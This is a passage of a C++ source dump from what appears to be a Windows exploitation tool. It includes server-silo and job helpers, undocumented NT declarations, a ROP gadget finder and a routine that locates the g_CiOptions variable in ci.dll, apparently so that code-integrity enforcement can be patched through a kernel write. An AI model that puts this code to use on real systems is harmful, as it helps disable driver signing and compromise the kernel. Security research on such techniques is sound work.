NtCreateDirectoryObjectEx(&hSiloDeviceDirectory, MAXIMUM_ALLOWED, &oa, hDeviceDirectory, 0); 268 | if (!NT_SUCCESS(status)) 269 | { 270 | PRINT_ERROR_NT(L"NtCreateDirectoryObjectEx", status); 271 | goto exit; 272 | } 273 | 274 | bResult = TRUE; 275 | 276 | exit: 277 | if (hSiloDeviceDirectory) NtClose(hSiloDeviceDirectory); 278 | if (hDeviceDirectory) NtClose(hDeviceDirectory); 279 | 280 | return bResult; 281 | } 282 | 283 | BOOL ServerSilo::Initialize(IN HANDLE Job, IN HANDLE DeleteEvent) 284 | { 285 | NTSTATUS status; 286 | SERVERSILO_INIT_INFORMATION init = { 0 }; 287 | 288 | init.DeleteEvent = DeleteEvent; 289 | init.IsDownlevelContainer = FALSE; 290 | 291 | status = NtSetInformationJobObject(Job, (JOBOBJECTINFOCLASS)JobObjectServerSiloInitialize, &init, sizeof(init)); 292 | if (status == STATUS_INFO_LENGTH_MISMATCH) 293 | { 294 | status = NtSetInformationJobObject(Job, (JOBOBJECTINFOCLASS)JobObjectServerSiloInitialize, &DeleteEvent, sizeof(DeleteEvent)); 295 | } 296 | 297 | if (!NT_SUCCESS(status)) 298 | { 299 | PRINT_ERROR_NT(L"NtSetInformationJobObject", status); 300 | return FALSE; 301 | } 302 | 303 | return TRUE; 304 | } 305 | 306 | BOOL ServerSilo::Terminate(IN HANDLE Job, IN NTSTATUS ExitStatus) 307 | { 308 | NTSTATUS status; 309 | 310 | status = NtTerminateJobObject(Job, ExitStatus); 311 | if (!NT_SUCCESS(status)) 312 | { 313 | PRINT_ERROR_NT(L"NtTerminateJobObject", status); 314 | return FALSE; 315 | } 316 | 317 | return TRUE; 318 | } 319 | 320 | BOOL ServerSilo::Close(IN HANDLE Job) 321 | { 322 | NTSTATUS status; 323 | 324 | status = NtClose(Job); 325 | 326 | if (!NT_SUCCESS(status)) 327 | { 328 | PRINT_ERROR_NT(L"NtClose", status); 329 | return FALSE; 330 | } 331 | 332 | return TRUE; 333 | } -------------------------------------------------------------------------------- /Common/nt.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #pragma comment(lib, "ntdll.lib") 5 | 6 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 7 | #define STATUS_PROCESS_CLONED ((NTSTATUS)0x00000129L) 8 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 9 | 10 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h 11 | // SYSTEM_INFORMATION_CLASS 12 | #define SystemModuleInformation 11 13 | 14 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntioapi.h 15 | // FILE_INFORMATION_CLASS (undocumented) 16 | #define FileIoCompletionNotificationInformation 41 17 | 18 | // https://github.com/winsiderss/phnt/blob/master/ntpsapi.h 19 | // PS_ATTRIBUTE_NUM (undocumented) 20 | #define PsAttributeStdHandleInfo 10 21 | #define PsAttributeJobList 19 22 | 23 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 24 | #define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess 25 | 26 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 27 | // JOBOBJECTINFOCLASS (undocumented) 28 | #define JobObjectSiloRootDirectory 37 // 0x25 - SILOOBJECT_ROOT_DIRECTORY 29 | #define JobObjectServerSiloInitialize 40 // 0x28 - SERVERSILO_INIT_INFORMATION 30 | #define JobObjectContainerTelemetryId 44 // 0x2c 31 | #define JobObjectSiloSystemRoot 45 // 0x2d 32 | 33 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 34 | // Job extended limits (undocumented) 35 | #define JOB_OBJECT_LIMIT_SILO_READY 0x00400000 36 | 37 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 38 | #define SILO_OBJECT_ROOT_DIRECTORY_SHADOW_ROOT 0x00000001 39 | #define SILO_OBJECT_ROOT_DIRECTORY_INITIALIZE 0x00000002 40 | #define SILO_OBJECT_ROOT_DIRECTORY_SHADOW_DOS_DEVICES 0x00000004 41 | #define SILO_OBJECT_ROOT_DIRECTORY_ALL SILO_OBJECT_ROOT_DIRECTORY_SHADOW_ROOT | SILO_OBJECT_ROOT_DIRECTORY_INITIALIZE | SILO_OBJECT_ROOT_DIRECTORY_SHADOW_DOS_DEVICES 42 | 43 | // https://github.com/winsiderss/phnt/blob/master/ntpsapi.h 44 | #define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff 45 | #define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation 46 | #define PS_ATTRIBUTE_INPUT 0x00020000 // input only 47 | #define PS_ATTRIBUTE_ADDITIVE 0x00040000 // "accumulated" e.g. bitmasks, counters, etc. 48 | 49 | // https://github.com/winsiderss/phnt/blob/master/ntpsapi.h 50 | #define PsAttributeValue(Number, Thread, Input, Additive) \ 51 | (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ 52 | ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ 53 | ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ 54 | ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) 55 | 56 | // https://github.com/winsiderss/phnt/blob/master/ntpsapi.h 57 | #define PS_ATTRIBUTE_JOB_LIST \ 58 | PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) 59 | 60 | #ifdef __cplusplus 61 | extern "C" { 62 | #endif 63 | 64 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntldr.h 65 | typedef struct _RTL_PROCESS_MODULE_INFORMATION 66 | { 67 | HANDLE Section; 68 | PVOID MappedBase; 69 | PVOID ImageBase; 70 | ULONG ImageSize; 71 | ULONG Flags; 72 | USHORT LoadOrderIndex; 73 | USHORT InitOrderIndex; 74 | USHORT LoadCount; 75 | USHORT OffsetToFileName; 76 | UCHAR FullPathName[256]; 77 | } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; 78 | 79 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntldr.h 80 | typedef struct _RTL_PROCESS_MODULES 81 | { 82 | ULONG NumberOfModules; 83 | RTL_PROCESS_MODULE_INFORMATION Modules[1]; 84 | } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; 85 | 86 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 87 | typedef struct _PS_ATTRIBUTE 88 | { 89 | ULONG_PTR Attribute; 90 | SIZE_T Size; 91 | union 92 | { 93 | ULONG_PTR Value; 94 | PVOID ValuePtr; 95 | }; 96 | PSIZE_T ReturnLength; 97 | } PS_ATTRIBUTE, * PPS_ATTRIBUTE; 98 | 99 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 100 | typedef struct _PS_ATTRIBUTE_LIST 101 | { 102 | SIZE_T TotalLength; 103 | PS_ATTRIBUTE Attributes[1]; 104 | } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; 105 | 106 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 107 | typedef struct _PS_STD_HANDLE_INFO 108 | { 109 | union 110 | { 111 | ULONG Flags; 112 | struct 113 | { 114 | ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE 115 | ULONG PseudoHandleMask : 3; // PS_STD_* 116 | }; 117 | }; 118 | ULONG StdHandleSubsystemType; 119 | } PS_STD_HANDLE_INFO, * PPS_STD_HANDLE_INFO; 120 | 121 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 122 | typedef enum _PS_STD_HANDLE_STATE 123 | { 124 | PsNeverDuplicate, 125 | PsRequestDuplicate, // duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem 126 | PsAlwaysDuplicate, // always duplicate standard handles 127 | PsMaxStdHandleStates 128 | } PS_STD_HANDLE_STATE; 129 | 130 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 131 | typedef enum _PS_CREATE_STATE 132 | { 133 | PsCreateInitialState, 134 | PsCreateFailOnFileOpen, 135 | PsCreateFailOnSectionCreate, 136 | PsCreateFailExeFormat, 137 | PsCreateFailMachineMismatch, 138 | PsCreateFailExeName, // Debugger specified 139 | PsCreateSuccess, 140 | PsCreateMaximumStates 141 | } PS_CREATE_STATE; 142 | 143 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 144 | typedef struct _PS_CREATE_INFO 145 | { 146 | SIZE_T Size; 147 | PS_CREATE_STATE State; 148 | union 149 | { 150 | // PsCreateInitialState 151 | struct 152 | { 153 | union 154 | { 155 | ULONG InitFlags; 156 | struct 157 | { 158 | UCHAR WriteOutputOnExit : 1; 159 | UCHAR DetectManifest : 1; 160 | UCHAR IFEOSkipDebugger : 1; 161 | UCHAR IFEODoNotPropagateKeyState : 1; 162 | UCHAR SpareBits1 : 4; 163 | UCHAR SpareBits2 : 8; 164 | USHORT ProhibitedImageCharacteristics : 16; 165 | }; 166 | }; 167 | ACCESS_MASK AdditionalFileAccess; 168 | } InitState; 169 | 170 | // PsCreateFailOnSectionCreate 171 | struct 172 | { 173 | HANDLE FileHandle; 174 | } FailSection; 175 | 176 | // PsCreateFailExeFormat 177 | struct 178 | { 179 | USHORT DllCharacteristics; 180 | } ExeFormat; 181 | 182 | // PsCreateFailExeName 183 | struct 184 | { 185 | HANDLE IFEOKey; 186 | } ExeName; 187 | 188 | // PsCreateSuccess 189 | struct 190 | { 191 | union 192 | { 193 | ULONG OutputFlags; 194 | struct 195 | { 196 | UCHAR ProtectedProcess : 1; 197 | UCHAR AddressSpaceOverride : 1; 198 | UCHAR DevOverrideEnabled : 1; // from Image File Execution Options 199 | UCHAR ManifestDetected : 1; 200 | UCHAR ProtectedProcessLight : 1; 201 | UCHAR SpareBits1 : 3; 202 | UCHAR SpareBits2 : 8; 203 | USHORT SpareBits3 : 16; 204 | }; 205 | }; 206 | HANDLE FileHandle; 207 | HANDLE SectionHandle; 208 | ULONGLONG UserProcessParametersNative; 209 | ULONG UserProcessParametersWow64; 210 | ULONG CurrentParameterFlags; 211 | ULONGLONG PebAddressNative; 212 | ULONG PebAddressWow64; 213 | ULONGLONG ManifestAddress; 214 | ULONG ManifestSize; 215 | } SuccessState; 216 | }; 217 | } PS_CREATE_INFO, * PPS_CREATE_INFO; 218 | 219 | #define FILE_SKIP_COMPLETION_PORT_ON_SUCCESS 0x1 220 | #define FILE_SKIP_SET_EVENT_ON_HANDLE 0x2 221 | #define FILE_SKIP_SET_USER_EVENT_ON_FAST_IO 0x4 222 | 223 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntioapi.h 224 | typedef struct _FILE_IO_COMPLETION_NOTIFICATION_INFORMATION 225 | { 226 | ULONG Flags; 227 | } FILE_IO_COMPLETION_NOTIFICATION_INFORMATION, * PFILE_IO_COMPLETION_NOTIFICATION_INFORMATION; 228 | 229 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 230 | typedef struct _SILOOBJECT_ROOT_DIRECTORY 231 | { 232 | union 233 | { 234 | ULONG ControlFlags; // SILO_OBJECT_ROOT_DIRECTORY_* 235 | UNICODE_STRING Path; 236 | }; 237 | } SILOOBJECT_ROOT_DIRECTORY, * PSILOOBJECT_ROOT_DIRECTORY; 238 | 239 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 240 | typedef struct _SERVERSILO_INIT_INFORMATION 241 | { 242 | HANDLE DeleteEvent; 243 | BOOLEAN IsDownlevelContainer; 244 | } SERVERSILO_INIT_INFORMATION, * PSERVERSILO_INIT_INFORMATION; 245 | 246 | // https://github.com/winsiderss/phnt/blob/master/ntpsapi.h 247 | typedef struct _JOBOBJECT_EXTENDED_LIMIT_INFORMATION_V2 248 | { 249 | JOBOBJECT_BASIC_LIMIT_INFORMATION BasicLimitInformation; 250 | IO_COUNTERS IoInfo; 251 | SIZE_T ProcessMemoryLimit; 252 | SIZE_T JobMemoryLimit; 253 | SIZE_T PeakProcessMemoryUsed; 254 | SIZE_T PeakJobMemoryUsed; 255 | SIZE_T JobTotalMemoryLimit; 256 | } JOBOBJECT_EXTENDED_LIMIT_INFORMATION_V2, * PJOBOBJECT_EXTENDED_LIMIT_INFORMATION_V2; 257 | 258 | _Success_(return != 0) 259 | _Must_inspect_result_ 260 | NTSYSAPI 261 | BOOLEAN 262 | NTAPI 263 | RtlCreateUnicodeString( 264 | _Out_ PUNICODE_STRING DestinationString, 265 | _In_z_ PCWSTR SourceString 266 | ); 267 | 268 | NTSYSAPI 269 | PIMAGE_NT_HEADERS 270 | NTAPI 271 | RtlImageNtHeader( 272 | IN PVOID ModuleAddress 273 | ); 274 | 275 | NTSYSCALLAPI 276 | NTSTATUS 277 | NTAPI 278 | NtCreateUserProcess( 279 | _Out_ PHANDLE ProcessHandle, 280 | _Out_ PHANDLE ThreadHandle, 281 | _In_ ACCESS_MASK ProcessDesiredAccess, 282 | _In_ ACCESS_MASK ThreadDesiredAccess, 283 | _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, 284 | _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, 285 | _In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_* 286 | _In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_* 287 | _In_opt_ PVOID ProcessParameters, // PRTL_USER_PROCESS_PARAMETERS 288 | _Inout_ PPS_CREATE_INFO CreateInfo, 289 | _In_opt_ PPS_ATTRIBUTE_LIST AttributeList 290 | ); 291 | 292 | // https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h 293 | NTSYSCALLAPI 294 | NTSTATUS 295 | NTAPI 296 | NtTerminateProcess( 297 | _In_opt_ HANDLE ProcessHandle, 298 | _In_ NTSTATUS ExitStatus 299 | ); 300 | 301 | NTSYSCALLAPI 302 | NTSTATUS 303 | NTAPI 304 | NtImpersonateThread( 305 | _In_ HANDLE ServerThreadHandle, 306 | _In_ HANDLE ClientThreadHandle, 307 | _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos 308 | ); 309 | 310 | NTSYSCALLAPI 311 | NTSTATUS 312 | NTAPI 313 | NtOpenEvent( 314 | _Out_ PHANDLE EventHandle, 315 | _In_ ACCESS_MASK DesiredAccess, 316 | _In_ POBJECT_ATTRIBUTES ObjectAttributes 317 | ); 318 | 319 | NTSYSCALLAPI 320 | NTSTATUS 321 | NTAPI 322 | NtSetEvent( 323 | _In_ HANDLE EventHandle, 324 | _Out_opt_ PLONG PreviousState 325 | ); 326 | 327 | NTSYSCALLAPI 328 | NTSTATUS 329 | NTAPI 330 | NtOpenDirectoryObject( 331 | _Out_ PHANDLE DirectoryHandle, 332 | _In_ ACCESS_MASK DesiredAccess, 333 | _In_ POBJECT_ATTRIBUTES ObjectAttributes 334 | ); 335 | 336 | NTSYSCALLAPI 337 | NTSTATUS 338 | NTAPI 339 | NtCreateDirectoryObjectEx( 340 | _Out_ PHANDLE DirectoryHandle, 341 | _In_ ACCESS_MASK DesiredAccess, 342 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 343 | _In_ HANDLE ShadowDirectoryHandle, 344 | _In_ ULONG Flags 345 | ); 346 | 347 | NTSYSCALLAPI 348 | NTSTATUS 349 | NTAPI 350 | NtSetInformationFile( 351 | _In_ HANDLE FileHandle, 352 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 353 | _In_reads_bytes_(Length) PVOID FileInformation, 354 | _In_ ULONG Length, 355 | _In_ FILE_INFORMATION_CLASS FileInformationClass 356 | ); 357 | 358 | NTSYSCALLAPI 359 | NTSTATUS 360 | NTAPI 361 | NtCreateJobObject( 362 | _Out_ PHANDLE JobHandle, 363 | _In_ ACCESS_MASK DesiredAccess, 364 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes 365 | ); 366 | 367 | NTSYSCALLAPI 368 | NTSTATUS 369 | NTAPI 370 | NtSetInformationJobObject( 371 | _In_ HANDLE JobHandle, 372 | _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, 373 | _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, 374 | _In_ ULONG JobObjectInformationLength 375 | ); 376 | 377 | NTSYSCALLAPI 378 | NTSTATUS 379 | NTAPI 380 | NtQueryInformationJobObject( 381 | _In_opt_ HANDLE JobHandle, 382 | _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, 383 | _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, 384 | _In_ ULONG JobObjectInformationLength, 385 | _Out_opt_ PULONG ReturnLength 386 | ); 387 | 388 | NTSYSCALLAPI 389 | NTSTATUS 390 | NTAPI 391 | NtTerminateJobObject( 392 | _In_ HANDLE JobHandle, 393 | _In_ NTSTATUS ExitStatus 394 | ); 395 | 396 | NTSYSCALLAPI 397 | NTSTATUS 398 | NTAPI 399 | NtAssignProcessToJobObject( 400 | _In_ HANDLE JobHandle, 401 | _In_ HANDLE ProcessHandle 402 | ); 403 | 404 | #ifdef __cplusplus 405 | } 406 | #endif -------------------------------------------------------------------------------- /Common/common.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "nt.h" 3 | #include 4 | #include 5 | #include 6 | 7 | VOID Common::PrintSystemError(_In_ DWORD ErrorCode) 8 | { 9 | LPWSTR pwszErrorMessage = NULL; 10 | 11 | FormatMessageW( 12 | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, 13 | NULL, 14 | ErrorCode, 15 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), 16 | (LPWSTR)&pwszErrorMessage, 17 | 0, 18 | NULL 19 | ); 20 | 21 | if (pwszErrorMessage) 22 | { 23 | wprintf(L"%ws", pwszErrorMessage); 24 | LocalFree(pwszErrorMessage); // FORMAT_MESSAGE_ALLOCATE_BUFFER 25 | } 26 | else 27 | { 28 | PRINT_ERROR_WIN32(L"FormatMessageW"); 29 | } 30 | } 31 | 32 | LPVOID Common::Alloc(_In_ SIZE_T Size) 33 | { 34 | LPVOID lpMem = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size); 35 | 36 | if (!lpMem) 37 | { 38 | PRINT_ERROR_WIN32(L"HeapAlloc"); 39 | return NULL; 40 | } 41 | 42 | return lpMem; 43 | } 44 | 45 | BOOL Common::Free(_In_ LPVOID Mem) 46 | { 47 | if (!HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, Mem)) 48 | { 49 | PRINT_ERROR_WIN32(L"HeapFree"); 50 | return FALSE; 51 | } 52 | 53 | return TRUE; 54 | } 55 | 56 | BOOL Common::FindKernelModuleBaseAddress(_In_ LPCSTR ModuleName, _Inout_ PULONG_PTR ModuleAddress) 57 | { 58 | BOOL bResult = FALSE; 59 | NTSTATUS status; 60 | ULONG size = 0; 61 | PRTL_PROCESS_MODULES pModules = NULL; 62 | 63 | status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, NULL, 0, &size); 64 | if (status != STATUS_INFO_LENGTH_MISMATCH) 65 | { 66 | PRINT_ERROR_NT(L"NtQuerySystemInformation", status); 67 | goto exit; 68 | } 69 | 70 | if (!(pModules = (PRTL_PROCESS_MODULES)Common::Alloc(size))) goto exit; 71 | 72 | status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, pModules, size, &size); 73 | if (!NT_SUCCESS(status)) 74 | { 75 | PRINT_ERROR_NT(L"NtQuerySystemInformation", status); 76 | goto exit; 77 | } 78 | 79 | for (ULONG i = 0; i < pModules->NumberOfModules; i++) 80 | { 81 | RTL_PROCESS_MODULE_INFORMATION Module = pModules->Modules[i]; 82 | 83 | if (_stricmp(ModuleName, (PCHAR)Module.FullPathName + Module.OffsetToFileName) == 0) 84 | { 85 | *ModuleAddress = (ULONG_PTR)Module.ImageBase; 86 | bResult = TRUE; 87 | break; 88 | } 89 | } 90 | 91 | if (!bResult) 92 | PRINT_ERROR_A("Could not determine base address of kernel module '%s'.\n", ModuleName); 93 | 94 | exit: 95 | if (pModules) Common::Free(pModules); 96 | 97 | return bResult; 98 | } 99 | 100 | BOOL Common::EnumModuleSections(_In_ HMODULE Module, _Inout_ std::vector &SectionList) 101 | { 102 | BOOL bResult = FALSE; 103 | const DWORD dwBufferSize = 0x1000; 104 | PIMAGE_NT_HEADERS pNtHeaders = NULL; 105 | PIMAGE_SECTION_HEADER pSectionHeader; 106 | PBYTE pBuffer = NULL; 107 | 108 | SectionList.clear(); 109 | 110 | if (!(pBuffer = (PBYTE)Common::Alloc(dwBufferSize))) goto exit; 111 | if (!(pNtHeaders = RtlImageNtHeader(Module))) goto exit; 112 | 113 | for (DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) 114 | { 115 | pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)pNtHeaders + sizeof(*pNtHeaders) + i * sizeof(*pSectionHeader)); 116 | 117 | ImageSectionHeaderInfo ish = ImageSectionHeaderInfo(); 118 | 119 | ZeroMemory(ish.Name, sizeof(ish.Name)); 120 | memcpy(ish.Name, pSectionHeader->Name, sizeof(pSectionHeader->Name)); 121 | ish.VirtualAddress = pSectionHeader->VirtualAddress; 122 | ish.VirtualSize = pSectionHeader->Misc.VirtualSize; 123 | ish.Characteristics = pSectionHeader->Characteristics; 124 | 125 | SectionList.push_back(ish); 126 | } 127 | 128 | bResult = SectionList.size() == pNtHeaders->FileHeader.NumberOfSections; 129 | 130 | exit: 131 | if (pBuffer) Common::Free(pBuffer); 132 | 133 | return bResult; 134 | } 135 | 136 | BOOL Common::FindModuleSection(_In_ HMODULE Module, _In_ LPCSTR SectionName, _Inout_ ImageSectionHeaderInfo& Section) 137 | { 138 | BOOL bResult = FALSE; 139 | std::vector sections; 140 | 141 | if (!Common::EnumModuleSections(Module, sections)) goto exit; 142 | 143 | for (auto& section : sections) 144 | { 145 | if (_stricmp(SectionName, section.Name) == 0) 146 | { 147 | Section = section; 148 | bResult = TRUE; 149 | break; 150 | } 151 | } 152 | 153 | exit: 154 | if (!bResult) PRINT_ERROR_A("Could not find section '%s' in module @ 0x%llx\n", SectionName, (ULONG_PTR)Module); 155 | 156 | return bResult; 157 | } 158 | 159 | BOOL Common::IsWritableAddress(_In_ HMODULE Module, _In_ ULONG_PTR Address) 160 | { 161 | BOOL bResult = FALSE; 162 | std::vector sections; 163 | ULONG_PTR pSectionStart, pSectionEnd; 164 | 165 | if (!Common::EnumModuleSections(Module, sections)) goto exit; 166 | 167 | for (auto& section : sections) 168 | { 169 | pSectionStart = (ULONG_PTR)Module + section.VirtualAddress; 170 | pSectionEnd = pSectionStart + section.VirtualSize; 171 | 172 | if (Address >= pSectionStart && Address < pSectionEnd) 173 | { 174 | if (section.Characteristics & IMAGE_SCN_MEM_WRITE) 175 | { 176 | bResult = TRUE; 177 | break; 178 | } 179 | } 180 | } 181 | 182 | exit: 183 | 184 | return bResult; 185 | } 186 | 187 | BOOL Common::FindPatternOffset(_In_ LPVOID Buffer, _In_ DWORD BufferSize, _In_ PBYTE Pattern, _In_ DWORD PatternSize, _Out_ PDWORD PatternOffset) 188 | { 189 | BOOL bResult = FALSE; 190 | PVOID pCurrentAddress = NULL; 191 | 192 | *PatternOffset = 0; 193 | 194 | __try 195 | { 196 | for (DWORD i = 0; i < BufferSize - PatternSize; i++) 197 | { 198 | pCurrentAddress = (PVOID)((ULONG_PTR)Buffer + i); 199 | if (memcmp((PBYTE)pCurrentAddress, Pattern, PatternSize) == 0) 200 | { 201 | *PatternOffset = i; 202 | bResult = TRUE; 203 | break; 204 | } 205 | } 206 | } 207 | __except (EXCEPTION_EXECUTE_HANDLER) 208 | { 209 | PRINT_WARNING(L"Exception while accessing memory @ 0x%llx (err=0x%08x)\n", (ULONG_PTR)pCurrentAddress, GetExceptionCode()); 210 | } 211 | 212 | return bResult; 213 | } 214 | 215 | BOOL Common::FindGadgetOffset(_In_ LPCWSTR Module, _In_ PBYTE Gadget, _In_ DWORD GadgetSize, _Out_ PDWORD GadgetOffset) 216 | { 217 | BOOL bResult = FALSE; 218 | HMODULE hModule = NULL; 219 | ULONG_PTR pSectionAddress; 220 | std::vector sections; 221 | DWORD dwPatternOffset; 222 | 223 | *GadgetOffset = 0; 224 | 225 | // Dirty hack 226 | if (!(hModule = LoadLibraryExW(Module, NULL, DONT_RESOLVE_DLL_REFERENCES))) 227 | { 228 | PRINT_ERROR_WIN32(L"LoadLibraryExW"); 229 | goto exit; 230 | } 231 | 232 | //PRINT_VERBOSE(L"Module loaded @ 0x%llx\n", (ULONG_PTR)hModule); 233 | 234 | if (!Common::EnumModuleSections(hModule, sections)) goto exit; 235 | 236 | for (auto& section : sections) 237 | { 238 | if (section.Characteristics & (IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE)) 239 | { 240 | pSectionAddress = (ULONG_PTR)hModule + section.VirtualAddress; 241 | //PRINT_VERBOSE_A("Searching %s @ 0x%llx (size=%d)\n", section.Name, pSectionAddress, section.VirtualSize); 242 | if (Common::FindPatternOffset((LPVOID)pSectionAddress, section.VirtualSize, Gadget, GadgetSize, &dwPatternOffset)) 243 | { 244 | *GadgetOffset = section.VirtualAddress + dwPatternOffset; 245 | //PRINT_VERBOSE(L"Pattern offset: 0x%08x\n", *GadgetOffset); 246 | bResult = TRUE; 247 | break; 248 | } 249 | } 250 | } 251 | 252 | exit: 253 | if (hModule) FreeLibrary(hModule); 254 | if (!bResult) PRINT_ERROR(L"Cound not find gadget of size %d in module '%ws'.\n", GadgetSize, Module); 255 | 256 | return bResult; 257 | } 258 | 259 | BOOL Common::FindCiOptionsOffset(_Out_ PDWORD Offset) 260 | { 261 | BOOL bResult = FALSE; 262 | HMODULE hModule = NULL; 263 | auto section = Common::ImageSectionHeaderInfo(); 264 | PVOID pCiInitialize = NULL; 265 | 266 | *Offset = 0; 267 | 268 | // Dirty hack 269 | if (!(hModule = LoadLibraryExW(L"ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES))) 270 | { 271 | PRINT_ERROR_WIN32(L"LoadLibraryExW"); 272 | goto exit; 273 | } 274 | 275 | //PRINT_VERBOSE("ci.dll @ 0x%llx\n", (ULONG_PTR)hModule); 276 | 277 | if (!Common::FindModuleSection(hModule, ".text", section)) goto exit; 278 | 279 | if (!(pCiInitialize = GetProcAddress(hModule, "CiInitialize"))) 280 | { 281 | PRINT_ERROR_WIN32(L"GetProcAddress"); 282 | goto exit; 283 | } 284 | 285 | //PRINT_VERBOSE(L"CiInitialize @ 0x%llx\n", (ULONG_PTR)pCiInitialize); 286 | 287 | for (DWORD i = 0; i < 128; i++) 288 | { 289 | LONG lRelativeOffset; // RIP-relative offset can be negative! 290 | ULONG_PTR pCallTarget, pCiOptions; 291 | 292 | // Is it a potential "CALL near" instruction? 293 | // E8 XX XX XX XX, where XX XX XX XX is a RIP-relative offset (x86_64) 294 | if (((PBYTE)pCiInitialize)[i] == 0xe8) 295 | { 296 | __try 297 | { 298 | // We found a potential CALL instruction, so let's extract the next 299 | // 4 bytes to calculate the RIP-relative address of the target function. 300 | memcpy(&lRelativeOffset, &(((PBYTE)pCiInitialize)[i + 1]), sizeof(lRelativeOffset)); 301 | pCallTarget = (ULONG_PTR) & ((PBYTE)pCiInitialize)[i + 5] + (LONGLONG)lRelativeOffset; 302 | 303 | // Now, read up to 128 bytes of memory starting from the address of the 304 | // target function, and try to find the expected MOV instruction. 305 | for (DWORD j = 0; j < 128; j++) 306 | { 307 | // Is it a potential "MOV dword ptr [xxx], ecx" instruction? 308 | // 89 0D XX XX XX XX, where XX XX XX XX is a RIP-relative offset (x86_64) 309 | if (((PBYTE)pCallTarget)[j] == 0x89 && ((PBYTE)pCallTarget)[j + 1] == 0x0d) 310 | { 311 | // We may have found the MOV instruction we were looking for, so let's extract 312 | // the next 4 bytes and calculates the RIP-relative address of the target pointer. 313 | memcpy(&lRelativeOffset, &((PBYTE)pCallTarget)[j + 2], sizeof(lRelativeOffset)); 314 | pCiOptions = (ULONG_PTR) & ((PBYTE)pCallTarget)[j + 6] + (LONGLONG)lRelativeOffset; 315 | 316 | // Check whether the target address is within a writable memory range. If so, we 317 | // are quiet sure we found the correct address/offset. Otherwise, we are sure the 318 | // address/offset is incorrect, and we should exit gracefully to avoid causing 319 | // a BSOD at a further time because of an illegal memory write. 320 | if (Common::IsWritableAddress(hModule, pCiOptions)) 321 | { 322 | *Offset = (DWORD)(pCiOptions - (ULONG_PTR)hModule); 323 | bResult = TRUE; 324 | } 325 | else 326 | { 327 | PRINT_ERROR(L"Address 0x%llx not within a writeable memory range!\n", pCiOptions); 328 | } 329 | } 330 | 331 | if (*Offset) break; 332 | } 333 | } 334 | __except (EXCEPTION_EXECUTE_HANDLER) 335 | { 336 | PRINT_WARNING(L"Exception while accessing memory (err=0x%08x)\n", GetExceptionCode()); 337 | } 338 | } 339 | 340 | if (*Offset) break; 341 | } 342 | 343 | exit: 344 | if (hModule) FreeLibrary(hModule); 345 | if (!bResult) PRINT_ERROR(L"Cound not find offset of global variable g_CiOptions in module 'ci.dll'.\n"); 346 | 347 | return bResult; 348 | } 349 | 350 | BOOL Common::EnablePrivilege(_In_opt_ HANDLE Token, _In_ LPCWSTR Privilege) 351 | { 352 | BOOL bResult = FALSE, bPrivilegeFound = FALSE; 353 | HANDLE hToken = NULL; 354 | DWORD dwTokenInfoSize, 